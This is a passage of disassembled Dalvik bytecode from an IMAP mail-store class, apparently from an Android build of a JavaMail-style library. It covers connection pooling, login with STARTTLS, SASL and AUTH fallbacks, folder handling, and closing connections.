:78
00000078  iput-boolean            v3, p0, IMAPStore->connected:Z
0000007C  const/4                 v0, 0x3
0000007E  invoke-virtual          IMAPStore->notifyConnectionListeners(I)V, p0, v0
00000084  iget-boolean            v0, p0, IMAPStore->debug:Z
00000088  if-eqz                  v0, :9A
:8C
0000008C  iget-object             v0, p0, IMAPStore->out:PrintStream
00000090  const-string            v1, "DEBUG: IMAPStore cleanup done"
00000094  invoke-virtual          PrintStream->println(String)V, v0, v1
:9A
0000009A  return-void
:9C
0000009C  const/4                 v1, 0x1
0000009E  move                    v7, v1
000000A0  move-object             v1, v0
000000A2  move                    v0, v7
000000A4  goto                    :64
:A6
000000A6  move-exception          v0
:A8
000000A8  monitor-exit            v2
:AA
000000AA  throw                   v0
:AC
000000AC  invoke-virtual          Vector->size()I, v1
000000B2  move-result             v4
000000B4  move                    v2, v3
:B6
000000B6  if-lt                   v2, v4, :BE
:BA
000000BA  move-object             v0, v1
000000BC  goto                    :34
:BE
000000BE  invoke-virtual          Vector->elementAt(I)Object, v1, v2
000000C4  move-result-object      v0
000000C6  check-cast              v0, IMAPFolder
000000CA  if-eqz                  p1, :F2
:CE
000000CE  iget-boolean            v5, p0, IMAPStore->debug:Z
000000D2  if-eqz                  v5, :E4
:D6
000000D6  iget-object             v5, p0, IMAPStore->out:PrintStream
000000DA  const-string            v6, "DEBUG: force folder to close"
000000DE  invoke-virtual          PrintStream->println(String)V, v5, v6
:E4
000000E4  invoke-virtual          IMAPFolder->forceClose()V, v0
:EA
000000EA  add-int/lit8            v0, v2, 0x1
000000EE  move                    v2, v0
000000F0  goto                    :B6
:F2
000000F2  iget-boolean            v5, p0, IMAPStore->debug:Z
000000F6  if-eqz                  v5, :108
:FA
000000FA  iget-object             v5, p0, IMAPStore->out:PrintStream
000000FE  const-string            v6, "DEBUG: close folder"
00000102  invoke-virtual          PrintStream->println(String)V, v5, v6
:108
00000108  const/4                 v5, 0x0
0000010A  invoke-virtual          IMAPFolder->close(Z)V, v0, v5
:110
00000110  goto                    :EA
:112
00000112  move-exception          v0
00000114  goto                    :EA
:116
00000116  move-exception          v0
:118
00000118  monitor-exit            v1
:11A
0000011A  throw                   v0
:11C
0000011C  move-exception          v0
0000011E  goto                    :EA
          .catchall {:3A .. :66} :A6
          .catchall {:70 .. :78} :116
          .catchall {:A8 .. :AA} :A6
          .catch MessagingException {:CE .. :110} :112
          .catch IllegalStateException {:CE .. :110} :11C
          .catchall {:118 .. :11A} :116
.end method

.method private emptyConnectionPool(Z)V
          .registers 5
00000000  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004  monitor-enter           v2
:6
00000006  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000A  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000010  move-result-object      v0
00000012  invoke-virtual          Vector->size()I, v0
00000018  move-result             v0
0000001A  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
0000001E  move                    v1, v0
:20
00000020  if-gez                  v1, :58
:24
00000024  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000028  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000002E  move-result-object      v0
00000030  invoke-virtual          Vector->removeAllElements()V, v0
00000036  monitor-exit            v2
:38
00000038  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000003C  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000042  move-result             v0
00000044  if-eqz                  v0, :56
:48
00000048  iget-object             v0, p0, IMAPStore->out:PrintStream
0000004C  const-string            v1, "DEBUG: removed all authenticated connections"
00000050  invoke-virtual          PrintStream->println(String)V, v0, v1
:56
00000056  return-void
:58
00000058  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000005C  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000062  move-result-object      v0
00000064  invoke-virtual          Vector->elementAt(I)Object, v0, v1
0000006A  move-result-object      v0
0000006C  check-cast              v0, IMAPProtocol
00000070  invoke-virtual          IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
00000076  if-eqz                  p1, :88
:7A
0000007A  invoke-virtual          IMAPProtocol->disconnect()V, v0
:80
00000080  add-int/lit8            v0, v1, 0xFFFFFFFFFFFFFFFF
00000084  move                    v1, v0
00000086  goto                    :20
:88
00000088  invoke-virtual          IMAPProtocol->logout()V, v0
:8E
0000008E  goto                    :80
:90
00000090  move-exception          v0
00000092  goto                    :80
:94
00000094  move-exception          v0
:96
00000096  monitor-exit            v2
:98
00000098  throw                   v0
          .catchall {:6 .. :38} :94
          .catch ProtocolException {:58 .. :8E} :90
          .catchall {:58 .. :8E} :94
          .catchall {:96 .. :98} :94
.end method

.method private declared-synchronized getNamespaces()Namespaces
          .registers 6
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPStore->checkConnected()V, p0
00000008  const/4                 v0, 0x0
0000000A  iget-object             v1, p0, IMAPStore->namespaces:Namespaces
:E
0000000E  if-nez                  v1, :36
:12
00000012  invoke-virtual          IMAPStore->getStoreProtocol()IMAPProtocol, p0
:18
00000018  move-result-object      v0
:1A
0000001A  invoke-virtual          IMAPProtocol->namespace()Namespaces, v0
00000020  move-result-object      v1
00000022  iput-object             v1, p0, IMAPStore->namespaces:Namespaces
:26
00000026  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v0
0000002C  if-nez                  v0, :36
:30
00000030  invoke-direct           IMAPStore->cleanup()V, p0
:36
00000036  iget-object             v0, p0, IMAPStore->namespaces:Namespaces
:3A
0000003A  monitor-exit            p0
0000003C  return-object           v0
:3E
0000003E  move-exception          v1
:40
00000040  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v0
00000046  if-nez                  v0, :36
:4A
0000004A  invoke-direct           IMAPStore->cleanup()V, p0
:50
00000050  goto                    :36
:52
00000052  move-exception          v0
00000054  monitor-exit            p0
00000056  throw                   v0
:58
00000058  move-exception          v1
0000005A  move-object             v4, v1
0000005C  move-object             v1, v0
0000005E  move-object             v0, v4
:60
00000060  new-instance            v2, StoreClosedException
00000064  invoke-virtual          ConnectionException->getMessage()String, v0
0000006A  move-result-object      v0
0000006C  invoke-direct           StoreClosedException-><init>(Store, String)V, v2, p0, v0
00000072  throw                   v2
:74
00000074  move-exception          v0
:76
00000076  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000007C  if-nez                  v1, :86
:80
00000080  invoke-direct           IMAPStore->cleanup()V, p0
:86
00000086  throw                   v0
:88
00000088  move-exception          v1
0000008A  move-object             v4, v1
0000008C  move-object             v1, v0
0000008E  move-object             v0, v4
:90
00000090  new-instance            v2, MessagingException
00000094  invoke-virtual          ProtocolException->getMessage()String, v0
0000009A  move-result-object      v3
0000009C  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
000000A2  throw                   v2
:A4
000000A4  move-exception          v1
000000A6  move-object             v4, v1
000000A8  move-object             v1, v0
000000AA  move-object             v0, v4
000000AC  goto                    :76
:AE
000000AE  move-exception          v1
000000B0  move-object             v4, v1
000000B2  move-object             v1, v0
000000B4  move-object             v0, v4
000000B6  goto                    :76
:B8
000000B8  move-exception          v1
000000BA  move-object             v4, v1
000000BC  move-object             v1, v0
000000BE  move-object             v0, v4
000000C0  goto                    :90
:C2
000000C2  move-exception          v1
000000C4  move-object             v4, v1
000000C6  move-object             v1, v0
000000C8  move-object             v0, v4
000000CA  goto                    :60
          .catchall {:2 .. :E} :52
          .catch BadCommandException {:12 .. :18} :3E
          .catch ConnectionException {:12 .. :18} :58
          .catch ProtocolException {:12 .. :18} :88
          .catchall {:12 .. :18} :A4
          .catch BadCommandException {:1A .. :26} :3E
          .catch ConnectionException {:1A .. :26} :C2
          .catch ProtocolException {:1A .. :26} :B8
          .catchall {:1A .. :26} :AE
          .catchall {:26 .. :3A} :52
          .catchall {:40 .. :50} :52
          .catchall {:60 .. :74} :74
          .catchall {:76 .. :88} :52
          .catchall {:90 .. :A4} :74
.end method

.method private login(IMAPProtocol, String, String)V
          .registers 10
00000000  iget-boolean            v0, p0, IMAPStore->enableStartTLS:Z
00000004  if-eqz                  v0, :24
:8
00000008  const-string            v0, "STARTTLS"
0000000C  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p1, v0
00000012  move-result             v0
00000014  if-eqz                  v0, :24
:18
00000018  invoke-virtual          IMAPProtocol->startTLS()V, p1
0000001E  invoke-virtual          IMAPProtocol->capability()V, p1
:24
00000024  invoke-virtual          IMAPProtocol->isAuthenticated()Z, p1
0000002A  move-result             v0
0000002C  if-eqz                  v0, :32
:30
00000030  return-void
:32
00000032  invoke-virtual          IMAPProtocol->getCapabilities()Map, p1
00000038  move-result-object      v0
0000003A  const-string            v1, "__PRELOGIN__"
0000003E  const-string            v2, ""
00000042  invoke-interface        Map->put(Object, Object)Object, v0, v1, v2
00000048  iget-object             v0, p0, IMAPStore->authorizationID:String
0000004C  if-eqz                  v0, :AA
:50
00000050  iget-object             v3, p0, IMAPStore->authorizationID:String
:54
00000054  iget-boolean            v0, p0, IMAPStore->enableSASL:Z
00000058  if-eqz                  v0, :70
:5C
0000005C  iget-object             v1, p0, IMAPStore->saslMechanisms:[String
00000060  iget-object             v2, p0, IMAPStore->saslRealm:String
00000064  move-object             v0, p1
00000066  move-object             v4, p2
00000068  move-object             v5, p3
0000006A  invoke-virtual/range    IMAPProtocol->sasllogin([String, String, String, String, String)V, v0 .. v5
:70
00000070  invoke-virtual          IMAPProtocol->isAuthenticated()Z, p1
00000076  move-result             v0
00000078  if-eqz                  v0, :BC
:7C
0000007C  iget-object             v0, p0, IMAPStore->proxyAuthUser:String
00000080  if-eqz                  v0, :8E
:84
00000084  iget-object             v0, p0, IMAPStore->proxyAuthUser:String
00000088  invoke-virtual          IMAPProtocol->proxyauth(String)V, p1, v0
:8E
0000008E  const-string            v0, "__PRELOGIN__"
00000092  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p1, v0
00000098  move-result             v0
0000009A  if-eqz                  v0, :30
:9E
0000009E  invoke-virtual          IMAPProtocol->capability()V, p1
:A4
000000A4  goto                    :30
:A6
000000A6  move-exception          v0
000000A8  throw                   v0
:AA
000000AA  iget-object             v0, p0, IMAPStore->proxyAuthUser:String
000000AE  if-eqz                  v0, :B8
:B2
000000B2  iget-object             v3, p0, IMAPStore->proxyAuthUser:String
000000B6  goto                    :54
:B8
000000B8  move-object             v3, p2
000000BA  goto                    :54
:BC
000000BC  const-string            v0, "AUTH=PLAIN"
000000C0  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p1, v0
000000C6  move-result             v0
000000C8  if-eqz                  v0, :DC
:CC
000000CC  iget-boolean            v0, p0, IMAPStore->disableAuthPlain:Z
000000D0  if-nez                  v0, :DC
:D4
000000D4  invoke-virtual          IMAPProtocol->authplain(String, String, String)V, p1, v3, p2, p3
000000DA  goto                    :7C
:DC
000000DC  const-string            v0, "AUTH-LOGIN"
000000E0  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p1, v0
000000E6  move-result             v0
000000E8  if-nez                  v0, :FC
:EC
000000EC  const-string            v0, "AUTH=LOGIN"
000000F0  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p1, v0
000000F6  move-result             v0
000000F8  if-eqz                  v0, :10C
:FC
000000FC  iget-boolean            v0, p0, IMAPStore->disableAuthLogin:Z
00000100  if-nez                  v0, :10C
:104
00000104  invoke-virtual          IMAPProtocol->authlogin(String, String)V, p1, p2, p3
0000010A  goto                    :7C
:10C
0000010C  const-string            v0, "LOGINDISABLED"
00000110  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p1, v0
00000116  move-result             v0
00000118  if-nez                  v0, :124
:11C
0000011C  invoke-virtual          IMAPProtocol->login(String, String)V, p1, p2, p3
00000122  goto                    :7C
:124
00000124  new-instance            v0, ProtocolException
00000128  const-string            v1, "No login methods supported!"
0000012C  invoke-direct           ProtocolException-><init>(String)V, v0, v1
00000132  throw                   v0
:134
00000134  move-exception          v0
00000136  goto/16                 :30
          .catch ConnectionException {:9E .. :A4} :A6
          .catch ProtocolException {:9E .. :A4} :134
.end method

.method private namespaceToFolders([Namespaces$Namespace, String)[Folder
          .registers 10
00000000  const/4                 v1, 0x0
00000002  array-length            v0, p1
00000004  new-array               v4, v0, [Folder
00000008  move                    v0, v1
:A
0000000A  array-length            v2, v4
0000000C  if-lt                   v0, v2, :12
:10
00000010  return-object           v4
:12
00000012  aget-object             v2, p1, v0
00000016  iget-object             v2, v2, Namespaces$Namespace->prefix:String
0000001A  if-nez                  p2, :70
:1E
0000001E  invoke-virtual          String->length()I, v2
00000024  move-result             v3
00000026  if-lez                  v3, :4E
:2A
0000002A  add-int/lit8            v5, v3, 0xFFFFFFFFFFFFFFFF
0000002E  invoke-virtual          String->charAt(I)C, v2, v5
00000034  move-result             v5
00000036  aget-object             v6, p1, v0
0000003A  iget-char               v6, v6, Namespaces$Namespace->delimiter:C
0000003E  if-ne                   v5, v6, :4E
:42
00000042  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFFF
00000046  invoke-virtual          String->substring(I, I)String, v2, v1, v3
0000004C  move-result-object      v2
:4E
0000004E  new-instance            v5, IMAPFolder
00000052  aget-object             v3, p1, v0
00000056  iget-char               v6, v3, Namespaces$Namespace->delimiter:C
0000005A  if-nez                  p2, :94
:5E
0000005E  const/4                 v3, 0x1
:60
00000060  invoke-direct           IMAPFolder-><init>(String, C, IMAPStore, Z)V, v5, v2, v6, p0, v3
00000066  aput-object             v5, v4, v0
0000006A  add-int/lit8            v0, v0, 0x1
0000006E  goto                    :A
:70
00000070  new-instance            v3, StringBuilder
00000074  invoke-static           String->valueOf(Object)String, v2
0000007A  move-result-object      v2
0000007C  invoke-direct           StringBuilder-><init>(String)V, v3, v2
00000082  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, p2
00000088  move-result-object      v2
0000008A  invoke-virtual          StringBuilder->toString()String, v2
00000090  move-result-object      v2
00000092  goto                    :4E
:94
00000094  move                    v3, v1
00000096  goto                    :60
.end method

.method private timeoutConnections()V
          .registers 10
00000000  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004  monitor-enter           v2
:6
00000006  invoke-static           System->currentTimeMillis()J
0000000C  move-result-wide        v0
0000000E  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000012  invoke-static           IMAPStore$ConnectionPool->access$16(IMAPStore$ConnectionPool)J, v3
00000018  move-result-wide        v3
0000001A  sub-long/2addr          v0, v3
0000001C  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000020  invoke-static           IMAPStore$ConnectionPool->access$17(IMAPStore$ConnectionPool)J, v3
00000026  move-result-wide        v3
00000028  cmp-long                v0, v0, v3
0000002C  if-lez                  v0, :FC
:30
00000030  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000034  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000003A  move-result-object      v0
0000003C  invoke-virtual          Vector->size()I, v0
00000042  move-result             v0
00000044  const/4                 v1, 0x1
00000046  if-le                   v0, v1, :FC
:4A
0000004A  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000004E  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000054  move-result             v0
00000056  if-eqz                  v0, :CC
:5A
0000005A  iget-object             v0, p0, IMAPStore->out:PrintStream
0000005E  new-instance            v1, StringBuilder
00000062  const-string            v3, "DEBUG: checking for connections to prune: "
00000066  invoke-direct           StringBuilder-><init>(String)V, v1, v3
0000006C  invoke-static           System->currentTimeMillis()J
00000072  move-result-wide        v3
00000074  iget-object             v5, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000078  invoke-static           IMAPStore$ConnectionPool->access$16(IMAPStore$ConnectionPool)J, v5
0000007E  move-result-wide        v5
00000080  sub-long/2addr          v3, v5
00000082  invoke-virtual          StringBuilder->append(J)StringBuilder, v1, v3, v4
00000088  move-result-object      v1
0000008A  invoke-virtual          StringBuilder->toString()String, v1
00000090  move-result-object      v1
00000092  invoke-virtual          PrintStream->println(String)V, v0, v1
00000098  iget-object             v0, p0, IMAPStore->out:PrintStream
0000009C  new-instance            v1, StringBuilder
000000A0  const-string            v3, "DEBUG: clientTimeoutInterval: "
000000A4  invoke-direct           StringBuilder-><init>(String)V, v1, v3
000000AA  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000AE  invoke-static           IMAPStore$ConnectionPool->access$6(IMAPStore$ConnectionPool)J, v3
000000B4  move-result-wide        v3
000000B6  invoke-virtual          StringBuilder->append(J)StringBuilder, v1, v3, v4
000000BC  move-result-object      v1
000000BE  invoke-virtual          StringBuilder->toString()String, v1
000000C4  move-result-object      v1
000000C6  invoke-virtual          PrintStream->println(String)V, v0, v1
:CC
000000CC  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000D0  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
000000D6  move-result-object      v0
000000D8  invoke-virtual          Vector->size()I, v0
000000DE  move-result             v0
000000E0  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
000000E4  move                    v1, v0
:E6
000000E6  if-gtz                  v1, :100
:EA
000000EA  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000EE  invoke-static           System->currentTimeMillis()J
000000F4  move-result-wide        v3
000000F6  invoke-static           IMAPStore$ConnectionPool->access$0(IMAPStore$ConnectionPool, J)V, v0, v3, v4
:FC
000000FC  monitor-exit            v2
000000FE  return-void
:100
00000100  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000104  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000010A  move-result-object      v0
0000010C  invoke-virtual          Vector->elementAt(I)Object, v0, v1
00000112  move-result-object      v0
00000114  check-cast              v0, IMAPProtocol
00000118  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000011C  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v3
00000122  move-result             v3
00000124  if-eqz                  v3, :162
:128
00000128  iget-object             v3, p0, IMAPStore->out:PrintStream
0000012C  new-instance            v4, StringBuilder
00000130  const-string            v5, "DEBUG: protocol last used: "
00000134  invoke-direct           StringBuilder-><init>(String)V, v4, v5
0000013A  invoke-static           System->currentTimeMillis()J
00000140  move-result-wide        v5
00000142  invoke-virtual          IMAPProtocol->getTimestamp()J, v0
00000148  move-result-wide        v7
0000014A  sub-long/2addr          v5, v7
0000014C  invoke-virtual          StringBuilder->append(J)StringBuilder, v4, v5, v6
00000152  move-result-object      v4
00000154  invoke-virtual          StringBuilder->toString()String, v4
0000015A  move-result-object      v4
0000015C  invoke-virtual          PrintStream->println(String)V, v3, v4
:162
00000162  invoke-static           System->currentTimeMillis()J
00000168  move-result-wide        v3
0000016A  invoke-virtual          IMAPProtocol->getTimestamp()J, v0
00000170  move-result-wide        v5
00000172  sub-long/2addr          v3, v5
00000174  iget-object             v5, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000178  invoke-static           IMAPStore$ConnectionPool->access$6(IMAPStore$ConnectionPool)J, v5
0000017E  move-result-wide        v5
00000180  cmp-long                v3, v3, v5
00000184  if-lez                  v3, :1D2
:188
00000188  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000018C  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v3
00000192  move-result             v3
00000194  if-eqz                  v3, :1B4
:198
00000198  iget-object             v3, p0, IMAPStore->out:PrintStream
0000019C  const-string            v4, "DEBUG: authenticated connection timed out"
000001A0  invoke-virtual          PrintStream->println(String)V, v3, v4
000001A6  iget-object             v3, p0, IMAPStore->out:PrintStream
000001AA  const-string            v4, "DEBUG: logging out the connection"
000001AE  invoke-virtual          PrintStream->println(String)V, v3, v4
:1B4
000001B4  invoke-virtual          IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
000001BA  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000001BE  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v3
000001C4  move-result-object      v3
000001C6  invoke-virtual          Vector->removeElementAt(I)V, v3, v1
:1CC
000001CC  invoke-virtual          IMAPProtocol->logout()V, v0
:1D2
000001D2  add-int/lit8            v0, v1, 0xFFFFFFFFFFFFFFFF
000001D6  move                    v1, v0
000001D8  goto                    :E6
:1DA
000001DA  move-exception          v0
:1DC
000001DC  monitor-exit            v2
:1DE
000001DE  throw                   v0
:1E0
000001E0  move-exception          v0
000001E2  goto                    :1D2
          .catchall {:6 .. :1CC} :1DA
          .catch ProtocolException {:1CC .. :1D2} :1E0
          .catchall {:1CC .. :1D2} :1DA
          .catchall {:1DC .. :1DE} :1DA
.end method

.method private waitIfIdle()V
          .registers 3
00000000  sget-boolean            v0, IMAPStore->$assertionsDisabled:Z
00000004  if-nez                  v0, :5E
:8
00000008  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000C  invoke-static           Thread->holdsLock(Object)Z, v0
00000012  move-result             v0
00000014  if-nez                  v0, :5E
:18
00000018  new-instance            v0, AssertionError
0000001C  invoke-direct           AssertionError-><init>()V, v0
00000022  throw                   v0
:24
00000024  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000028  invoke-static           IMAPStore$ConnectionPool->access$19(IMAPStore$ConnectionPool)I, v0
0000002E  move-result             v0
00000030  const/4                 v1, 0x1
00000032  if-ne                   v0, v1, :54
:36
00000036  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000003A  invoke-static           IMAPStore$ConnectionPool->access$21(IMAPStore$ConnectionPool)IMAPProtocol, v0
00000040  move-result-object      v0
00000042  invoke-virtual          IMAPProtocol->idleAbort()V, v0
00000048  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000004C  const/4                 v1, 0x2
0000004E  invoke-static           IMAPStore$ConnectionPool->access$20(IMAPStore$ConnectionPool, I)V, v0, v1
:54
00000054  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000058  invoke-virtual          Object->wait()V, v0
:5E
0000005E  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000062  invoke-static           IMAPStore$ConnectionPool->access$19(IMAPStore$ConnectionPool)I, v0
00000068  move-result             v0
0000006A  if-nez                  v0, :24
:6E
0000006E  return-void
:70
00000070  move-exception          v0
00000072  goto                    :5E
          .catch InterruptedException {:54 .. :5E} :70
.end method

.method allowReadOnlySelect()Z
          .registers 4
00000000  iget-object             v0, p0, IMAPStore->session:Session
00000004  new-instance            v1, StringBuilder
00000008  const-string            v2, "mail."
0000000C  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000012  iget-object             v2, p0, IMAPStore->name:String
00000016  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000001C  move-result-object      v1
0000001E  const-string            v2, ".allowreadonlyselect"
00000022  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000028  move-result-object      v1
0000002A  invoke-virtual          StringBuilder->toString()String, v1
00000030  move-result-object      v1
00000032  invoke-virtual          Session->getProperty(String)String, v0, v1
00000038  move-result-object      v0
0000003A  if-eqz                  v0, :52
:3E
0000003E  const-string            v1, "true"
00000042  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000048  move-result             v0
0000004A  if-eqz                  v0, :52
:4E
0000004E  const/4                 v0, 0x1
:50
00000050  return                  v0
:52
00000052  const/4                 v0, 0x0
00000054  goto                    :50
.end method

.method public declared-synchronized close()V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  invoke-super            Store->isConnected()Z, p0
:8
00000008  move-result             v0
0000000A  if-nez                  v0, :12
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  const/4                 v1, 0x0
:14
00000014  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000018  monitor-enter           v2
:1A
0000001A  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000001E  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000024  move-result-object      v0
00000026  invoke-virtual          Vector->isEmpty()Z, v0
0000002C  move-result             v0
0000002E  monitor-exit            v2
:30
00000030  if-eqz                  v0, :92
:34
00000034  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000038  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
0000003E  move-result             v0
00000040  if-eqz                  v0, :52
:44
00000044  iget-object             v0, p0, IMAPStore->out:PrintStream
00000048  const-string            v2, "DEBUG: close() - no connections "
0000004C  invoke-virtual          PrintStream->println(String)V, v0, v2
:52
00000052  invoke-direct           IMAPStore->cleanup()V, p0
:58
00000058  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:5E
0000005E  goto                    :E
:60
00000060  move-exception          v0
00000062  monitor-exit            p0
00000064  throw                   v0
:66
00000066  move-exception          v0
:68
00000068  monitor-exit            v2
:6A
0000006A  throw                   v0
:6C
0000006C  move-exception          v0
:6E
0000006E  invoke-direct           IMAPStore->cleanup()V, p0
00000074  new-instance            v2, MessagingException
00000078  invoke-virtual          ProtocolException->getMessage()String, v0
0000007E  move-result-object      v3
00000080  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000086  throw                   v2
:88
00000088  move-exception          v0
:8A
0000008A  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000090  throw                   v0
:92
00000092  invoke-virtual          IMAPStore->getStoreProtocol()IMAPProtocol, p0
00000098  move-result-object      v1
0000009A  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000009E  monitor-enter           v2
:A0
000000A0  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000A4  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
000000AA  move-result-object      v0
000000AC  invoke-virtual          Vector->removeElement(Object)Z, v0, v1
000000B2  monitor-exit            v2
:B4
000000B4  invoke-virtual          IMAPProtocol->logout()V, v1
:BA
000000BA  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:C0
000000C0  goto                    :E
:C2
000000C2  move-exception          v0
:C4
000000C4  monitor-exit            v2
:C6
000000C6  throw                   v0
          .catchall {:2 .. :8} :60
          .catch ProtocolException {:14 .. :1A} :6C
          .catchall {:14 .. :1A} :88
          .catchall {:1A .. :30} :66
          .catch ProtocolException {:34 .. :58} :6C
          .catchall {:34 .. :58} :88
          .catchall {:58 .. :5E} :60
          .catchall {:68 .. :6A} :66
          .catch ProtocolException {:6A .. :6C} :6C
          .catchall {:6A .. :6C} :88
          .catchall {:6E .. :88} :88
          .catchall {:8A .. :92} :60
          .catch ProtocolException {:92 .. :A0} :6C
          .catchall {:92 .. :A0} :88
          .catchall {:A0 .. :B4} :C2
          .catch ProtocolException {:B4 .. :BA} :6C
          .catchall {:B4 .. :BA} :88
          .catchall {:BA .. :C0} :60
          .catchall {:C4 .. :C6} :C2
          .catch ProtocolException {:C6 .. :C8} :6C
          .catchall {:C6 .. :C8} :88
.end method

.method protected finalize()V
          .registers 1
00000000  invoke-super            Store->finalize()V, p0
00000006  invoke-virtual          IMAPStore->close()V, p0
0000000C  return-void
.end method

.method getAppendBufferSize()I
          .registers 2
00000000  iget                    v0, p0, IMAPStore->appendBufferSize:I
00000004  return                  v0
.end method

.method getConnectionPoolDebug()Z
          .registers 2
00000000  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public declared-synchronized getDefaultFolder()Folder
          .registers 2
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPStore->checkConnected()V, p0
00000008  new-instance            v0, DefaultFolder
0000000C  invoke-direct           DefaultFolder-><init>(IMAPStore)V, v0, p0
:12
00000012  monitor-exit            p0
00000014  return-object           v0
:16
00000016  move-exception          v0
00000018  monitor-exit            p0
0000001A  throw                   v0
          .catchall {:2 .. :12} :16
.end method

.method getFetchBlockSize()I
          .registers 2
00000000  iget                    v0, p0, IMAPStore->blksize:I
00000004  return                  v0
.end method

.method public declared-synchronized getFolder(String)Folder
          .registers 4
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPStore->checkConnected()V, p0
00000008  new-instance            v0, IMAPFolder
0000000C  const                   v1, 0xFFFF
00000012  invoke-direct           IMAPFolder-><init>(String, C, IMAPStore)V, v0, p1, v1, p0
:18
00000018  monitor-exit            p0
0000001A  return-object           v0
:1C
0000001C  move-exception          v0
0000001E  monitor-exit            p0
00000020  throw                   v0
          .catchall {:2 .. :18} :1C
.end method

.method public declared-synchronized getFolder(URLName)Folder
          .registers 5
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPStore->checkConnected()V, p0
00000008  new-instance            v0, IMAPFolder
0000000C  invoke-virtual          URLName->getFile()String, p1
00000012  move-result-object      v1
00000014  const                   v2, 0xFFFF
0000001A  invoke-direct           IMAPFolder-><init>(String, C, IMAPStore)V, v0, v1, v2, p0
:20
